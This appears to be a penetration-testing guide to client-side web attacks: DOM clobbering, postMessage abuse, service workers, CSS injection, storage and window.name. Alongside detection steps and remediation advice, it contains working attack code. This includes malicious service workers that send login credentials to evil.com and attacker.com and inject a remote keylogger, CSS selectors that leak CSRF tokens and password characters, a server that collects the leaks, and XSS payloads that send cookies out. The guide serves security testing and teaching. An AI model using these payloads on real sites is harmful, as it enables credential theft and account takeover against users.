Last reviewed 16 min read

Client-Side Attacks

Beyond traditional XSS — advanced browser-side attack techniques targeting the DOM, Window APIs, service workers, CSS parsing, and cross-origin communication mechanisms.

Frameworks: WSTG-CLNT-01, -03, -11 · ASVS 5.0 V3.2.3, V3.5.5 · CWE-79, CWE-346 · T1059.007

Why Client-Side Attacks Matter

Modern SPAs shift logic to the browser. DOM manipulation, cross-origin messaging, and browser APIs create attack surfaces that server-side WAFs cannot see. These attacks bypass traditional protections and are frequently overlooked in penetration tests.

Tools

DOM Invader (Burp)

Browser extension for DOM-based vuln testing

PPScan

Prototype pollution scanner

postMessage-tracker

Chrome extension to intercept postMessages

Service Worker Detector

Chrome extension to detect SWs on pages

Browser DevTools

Application → Service Workers, Storage, Frames

CSSInjection

CSS exfiltration payload generator

1. DOM Clobbering

DOM clobbering uses HTML elements to overwrite JavaScript variables and DOM properties. Named elements (id and name attributes) are automatically registered as properties on the window object and document.

Warning

DOM clobbering doesn't require script execution — it works with sanitizers that allow HTML tags but strip JavaScript.
dom-clobbering.html
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
  // Developer expects 'config' to be a JS object
  let url = window.config?.baseUrl?.value || '/default';
  fetch(url + '/api/data');
</script>

<!-- Attacker injects (e.g., via HTML injection in a comment field).
     The form's id clobbers window.config; the named input clobbers
     window.config.baseUrl, so the sink reads the attacker's value. -->
<form id="config">
  <input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config               → the <form> element
     window.config.baseUrl       → the named <input> element
     window.config.baseUrl.value → "https://evil.com" (the clobbered sink) -->

<!-- Scope of clobbering: it shadows named global access (window.config)
     and form element collections (form.elements) — it does NOT
     override IDL/prototype methods like document.getElementById() -->

Detection Approach

detect-dom-clobbering.js
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized

// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
  const src = s.textContent;
  const patterns = [
    /window.(w+)s*(?.|&&|||)/g,
    /document.w+s*||/g,
  ];
  patterns.forEach(p => {
    let match;
    while ((match = p.exec(src)) !== null) {
      console.log('Potential clobbering target:', match[0]);
    }
  });
});

2. postMessage Abuse

window.postMessage() enables cross-origin communication between windows. Vulnerabilities arise when the receiver doesn't validate the message origin, or when the sender targets "*".

postmessage.html
<!-- VULNERABLE receiver: no origin check -->
<script>
  window.addEventListener('message', function(event) {
    // ❌ No origin validation!
    document.getElementById('output').innerHTML = event.data.html;
    // Or: eval(event.data.code);
    // Or: window.location = event.data.redirect;
  });
</script>

<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
  const target = document.getElementById('target');
  target.onload = function() {
    // XSS via postMessage
    target.contentWindow.postMessage({
      html: '<img src=x onerror=alert(document.domain)>'
    }, '*');
    
    // Or redirect to phishing
    target.contentWindow.postMessage({
      redirect: 'https://evil.com/phish'
    }, '*');
  };
</script>

Finding postMessage Listeners

find-postmessage-listeners.js
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message

// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"

// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
  if (type === 'message') {
    console.log('Message listener registered:', listener.toString().substring(0, 200));
    console.trace();
  }
  return originalAddEventListener.call(this, type, listener, options);
};

// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data

3. Prototype Pollution

Prototype pollution injects properties into JavaScript object prototypes so that every object in the application inherits attacker-controlled values — frequently chained into XSS, authentication bypass, or denial of service. It is a DOM-adjacent attack, but the complete technique set (merge gadgets, __proto__ / constructor[prototype] payloads, ppmap and ppfuzz tooling, and server-side variants) lives on the dedicated guide below.

→ Prototype Pollution (canonical guide)

4. Service Worker Attacks

Service workers are powerful scripts that intercept network requests, cache responses, and run in the background. A malicious service worker persists across page reloads and browser restarts.

Danger

A hijacked or malicious service worker can intercept all HTTPS requests from the scope, modify responses, steal credentials, and persist even after the XSS that installed it is patched.
malicious-sw.js
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)

// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
  const url = new URL(event.request.url);
  
  // Intercept login requests → steal credentials
  if (url.pathname === '/api/login') {
    event.respondWith(
      event.request.clone().text().then(body => {
        // Exfiltrate credentials
        fetch('https://evil.com/log', {
          method: 'POST',
          body: body,
          mode: 'no-cors'
        });
        return fetch(event.request); // Forward original request
      })
    );
    return;
  }
  
  // Inject script into HTML responses
  if (event.request.headers.get('accept')?.includes('text/html')) {
    event.respondWith(
      fetch(event.request).then(response => {
        return response.text().then(html => {
          const modified = html.replace('</body>',
            '<script src="https://evil.com/keylogger.js"></script></body>');
          return new Response(modified, {
            headers: response.headers
          });
        });
      })
    );
    return;
  }
  
  event.respondWith(fetch(event.request));
});

// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})

Audit Existing Service Workers

audit-service-workers.js
// DevTools → Application → Service Workers
// Check: scope, source URL, status

// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(r => {
    console.log('SW Scope:', r.scope);
    console.log('SW Script:', r.active?.scriptURL);
    console.log('SW State:', r.active?.state);
  });
});

// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)

5. CSS Injection & Exfiltration

When an attacker can inject arbitrary CSS (via style attributes, <style> tags, or CSS imports), they can exfiltrate sensitive data from the page — including CSRF tokens, email addresses, and more.

css-exfiltration.css
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */

input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */

/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */

/* Data exfiltration via @font-face unicode-range */
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=A);
  unicode-range: U+0041; /* 'A' */
}
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=B);
  unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }

/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }
leak-server.py
# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if params:
            print(f"[LEAK] {params}")
            with open('exfiltrated.txt', 'a') as f:
                f.write(f"{params}\n")
        self.send_response(200)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass  # Suppress default logging

HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()

6. Web Worker & SharedArrayBuffer Attacks

worker-payload.js
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug

// From XSS, create an inline worker:
const code = `
  // Runs in worker context — no DOM access but can make requests
  setInterval(() => {
    fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
  }, 30000);
  
  // Crypto mining in worker (CPU abuse)
  // Or use for distributed scanning
  self.onmessage = function(e) {
    // Receive commands from the main thread
    if (e.data.type === 'scan') {
      fetch(e.data.url).then(r => r.text()).then(html => {
        self.postMessage({url: e.data.url, html: html});
      });
    }
  };
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
//           Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre

Remediation & Defense

Defensive Measures

DOM Clobbering Prevention

  • • Use Object.create(null) for config objects
  • • Avoid relying on named DOM property access
  • • Use hasOwnProperty() checks
  • • Use DOMPurify with SANITIZE_NAMED_PROPS

postMessage Hardening

  • • Always validate event.origin
  • • Never use "*" as targetOrigin
  • • Validate and sanitize event.data
  • • Use structured clone for complex data

Prototype Pollution Prevention

  • • Validate/reject __proto__, constructor, prototype keys
  • • Use Object.freeze(Object.prototype)
  • • Use Map instead of plain objects for user data
  • • Use schema validation (Joi, Zod) on input

Service Worker & CSS Controls

  • • Don't widen SW scope — omit Service-Worker-Allowed (default scope is the script's directory)
  • • Limit file upload paths to non-executable directories
  • • Strict CSP: style-src 'self' (no 'unsafe-inline')
  • • Set COOP/COEP headers to isolate origins

CWE References: CWE-79 (XSS), CWE-1321 (Prototype Pollution), CWE-345 (Insufficient Verification of Data Authenticity), CWE-940 (Improper Verification of Source of a Communication Channel)

Client-Side Testing Checklist

DOM Attacks

  • ☐ Test DOM clobbering on global vars
  • ☐ Check prototype pollution via params
  • ☐ Audit postMessage listeners (origin check)
  • ☐ Test postMessage with malicious data

Persistence

  • ☐ Enumerate service workers
  • ☐ Check SW scope and source paths
  • ☐ Test SW registration from XSS
  • ☐ Inspect web worker usage
  • ☐ Test SW importScripts poisoning

Exfiltration

  • ☐ Test CSS injection for data leak
  • ☐ Check for CSS import injection
  • ☐ Verify CSP blocks inline styles
  • ☐ Test font-face exfiltration
  • ☐ Test localStorage/sessionStorage poisoning
  • ☐ Test IndexedDB data theft
  • ☐ Test window.name cross-origin data

Advanced Client-Side Techniques

localStorage / sessionStorage Poisoning

Web Storage APIs are same-origin but data stored there is often rendered without sanitization, creating persistent XSS vectors:

storage-poisoning.js
// Storage-based XSS: if app reads from storage and renders without sanitization
// Poison storage via XSS, then the payload persists across page loads

// Step 1: Identify storage usage
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  console.log(key, ':', localStorage.getItem(key));
}

// Step 2: Find keys whose values are rendered in the DOM
// Look for patterns like: document.getElementById('name').innerHTML = localStorage.getItem('username')

// Step 3: Poison storage with XSS payload
localStorage.setItem('username', '<img src=x onerror=fetch("https://attacker.com/c?d="+document.cookie)>');
localStorage.setItem('theme', '"><script>alert(document.domain)</script>');
localStorage.setItem('lang', 'en</option><script>alert(1)</script>');

// Storage quota attack — fill up storage to cause app errors
// localStorage has ~5-10MB limit per origin
const largeData = 'A'.repeat(1024 * 1024); // 1MB string
try {
  for (let i = 0; i < 10; i++) {
    localStorage.setItem('flood_' + i, largeData);
  }
} catch(e) {
  console.log('Storage full - app may fail:', e);
}

// sessionStorage poisoning via window.open
// Parent can write to child's sessionStorage if same origin
const child = window.open('https://target.com/dashboard');
child.sessionStorage.setItem('token', 'attacker_controlled_token');

IndexedDB Attacks

IndexedDB stores structured data client-side. Applications using it for caching, offline storage, or session data may be vulnerable:

indexeddb-attacks.js
// Enumerate all IndexedDB databases (Chrome/Edge)
const databases = await indexedDB.databases();
console.log('Databases:', databases);

// Open and dump a database
const request = indexedDB.open('appDatabase', 1);
request.onsuccess = (event) => {
  const db = event.target.result;
  console.log('Object stores:', Array.from(db.objectStoreNames));
  
  // Dump all data from each store
  for (const storeName of db.objectStoreNames) {
    const tx = db.transaction(storeName, 'readonly');
    const store = tx.objectStore(storeName);
    store.getAll().onsuccess = (e) => {
      console.log(storeName, ':', JSON.stringify(e.target.result));
      // Look for: tokens, user data, cached API responses, encryption keys
    };
  }
};

// IndexedDB injection — modify cached data
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
store.put({
  id: 1,
  name: '<img src=x onerror=alert(1)>',  // XSS if rendered unsanitized
  role: 'admin'  // Privilege escalation if app trusts cached role
});

// IndexedDB persistence — survive cookie/storage clearing
// Some apps clear cookies but forget IndexedDB
// Useful for maintaining XSS persistence across "logout"

Service Worker Hijacking Deep Dive

sw-credential-theft.js
// Service Worker scope takeover
// SW scope is determined by the script's location
// /app/sw.js controls /app/* but if you can register at /sw.js, you control /*

// Check existing service worker registrations
navigator.serviceWorker.getRegistrations().then(registrations => {
  registrations.forEach(reg => {
    console.log('Scope:', reg.scope);
    console.log('Script:', reg.active?.scriptURL);
    console.log('State:', reg.active?.state);
  });
});

// importScripts poisoning — if the SW loads external scripts
// Inside a hijacked SW:
// importScripts('https://attacker.com/malicious-sw-module.js');
// The imported script runs in the SW context with full intercept capability

// Foreign fetch exploitation (Chrome only, now deprecated but check for it)
// A third-party SW that intercepts fetch requests to its origin
// If the third-party origin is compromised, all requests are intercepted

// Update mechanism abuse
// Force SW update by manipulating byte-for-byte comparison
// If you can modify even 1 byte of the SW script (via cache poisoning),
// the browser will treat it as an update and install the new version

// SW-based credential theft
self.addEventListener('fetch', event => {
  const url = new URL(event.request.url);
  if (url.pathname === '/login') {
    // Clone the request to read the body (contains credentials)
    event.request.clone().text().then(body => {
      fetch('https://attacker.com/creds', {
        method: 'POST', body: body, mode: 'no-cors'
      });
    });
  }
  event.respondWith(fetch(event.request));  // Forward normally
});

window.name Cross-Origin Data Channel

window.name persists across navigations to different origins, making it a stealthy cross-origin data channel:

window-name-exfil.js
// window.name persists when navigating cross-origin
// Attack: Set window.name on target site (via XSS), then navigate to attacker's site

// On target site (via XSS or injection):
window.name = document.cookie + '|' + document.body.innerHTML;
window.location = 'https://attacker.com/collect.html';

// On attacker.com/collect.html:
// window.name still contains the target site's data!
document.write('Stolen: ' + window.name);
fetch('/log', { method: 'POST', body: window.name });

// Two-step data theft (no XSS needed, just open redirect):
// 1. Create page on attacker.com that opens target in iframe
//    <iframe id="f" src="https://target.com/page-with-data-in-window-name"></iframe>
// 2. After load, redirect iframe to same-origin page to read window.name
//    document.getElementById('f').src = 'https://attacker.com/reader.html';
// 3. reader.html reads parent.frames[0].name (now same-origin)

// Defense check: Does the app ever use window.name?
// Look for: window.name assignments, top.name reads, opener.name access
console.log('window.name:', window.name);
console.log('Length:', window.name.length);  // Non-zero = potentially exploitable

Evidence Collection

DOM Manipulation Proof: Capture the DOM clobbering or DOM-based attack showing the manipulated element/property and its impact — use browser DevTools screenshots showing before/after states.

postMessage Exploitation: Record the cross-origin message payload, the missing origin check in the event handler, and the resulting unauthorized action (XSS, data leak, state change).

Storage Access: Document sensitive data found in localStorage/sessionStorage along with the access method — demonstrate that an XSS or same-origin attacker can read authentication tokens or PII.

Service Worker Hijack: If a service worker can be registered from an attacker-controlled path, capture the registration scope, the malicious worker code, and the intercepted requests.

CVSS Range: 4.3 (client-side information disclosure) – 8.8 (DOM-based attack leading to account takeover via token theft)

False Positive Identification

  • Same-Origin Requirement: Many client-side attacks require existing XSS or same-origin code execution — if no injection point exists, the client-side vector is theoretical only.
  • HttpOnly Cookies: If session tokens use HttpOnly and are not stored in localStorage, DOM-based token theft is not possible — verify the actual cookie flags.
  • Origin Validation Present: postMessage handlers that properly check event.origin against an allowlist are not vulnerable even if they process external messages — review the actual handler code.
  • Non-Sensitive Storage: Data in localStorage that is purely cosmetic (theme preferences, UI state) does not constitute a security finding even if accessible cross-tab.

Client-Side Attack Practice

Practice DOM-based sink discovery and client-side exploitation in the browser.

PortSwigger — DOM-Based Vulnerabilities PortSwigger medium
DOM XSS sinkspostMessage abuseClient-side redirection